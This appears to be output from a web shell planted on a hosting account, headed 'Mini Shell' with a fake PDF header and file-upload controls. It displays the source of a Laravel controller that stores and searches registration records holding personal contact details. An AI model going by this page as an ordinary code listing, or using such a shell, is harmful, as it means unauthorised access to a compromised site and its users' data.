%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/kma/app/Http/Controllers/
Upload File :
Create Path :
Current File : /home/ugotscom/kma/app/Http/Controllers/RegistrationController.php

<?php

namespace App\Http\Controllers;

use App\Registration;
use Illuminate\Http\Request;

class RegistrationController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $data=Registration::select('*')->paginate(20);
        return response()->json($data);
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $reg = new Registration;
        $reg->organization=$request->organization;
        $reg->name=$request->name;
        $reg->phone=$request->phone;
        $reg->email=$request->email;
        $reg->address=$request->address;
        $reg->type=$request->type;
        $reg->amount=$request->amount;
        $reg->order_id=$request->orderid;
        $reg->status=$request->status;
        $reg->save();
    }

    /**
     * Display the specified resource.
     *
     * @param  \App\Registration  $registration
     * @return \Illuminate\Http\Response
     */
    public function show(Registration $registration)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Registration  $registration
     * @return \Illuminate\Http\Response
     */
    public function edit(Registration $registration)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Registration  $registration
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, Registration $registration)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Registration  $registration
     * @return \Illuminate\Http\Response
     */
    public function destroy(Registration $registration)
    {
        //
    }

    public function searchquery(){
        if($search =\Request :: get('q')){

            $users=Registration::where(function($query) use ($search){
            $query->where('name','LIKE',"%$search%")
                  ->orwhere ('email','LIKE',"%$search%")  
                  ->orwhere ('phone','LIKE',"%$search%")     
                  ->orwhere ('organization','LIKE',"%$search%")              
            ;})->paginate(20);
            }
         else {
            $users=Registration::latest()->paginate(20);
         }   
        return $users;
    }
    public function clientdetails($client)
    {
       
     $users=Registration::where('id',$client)->get();
     return $users;

    }
}

Zerion Mini Shell 1.0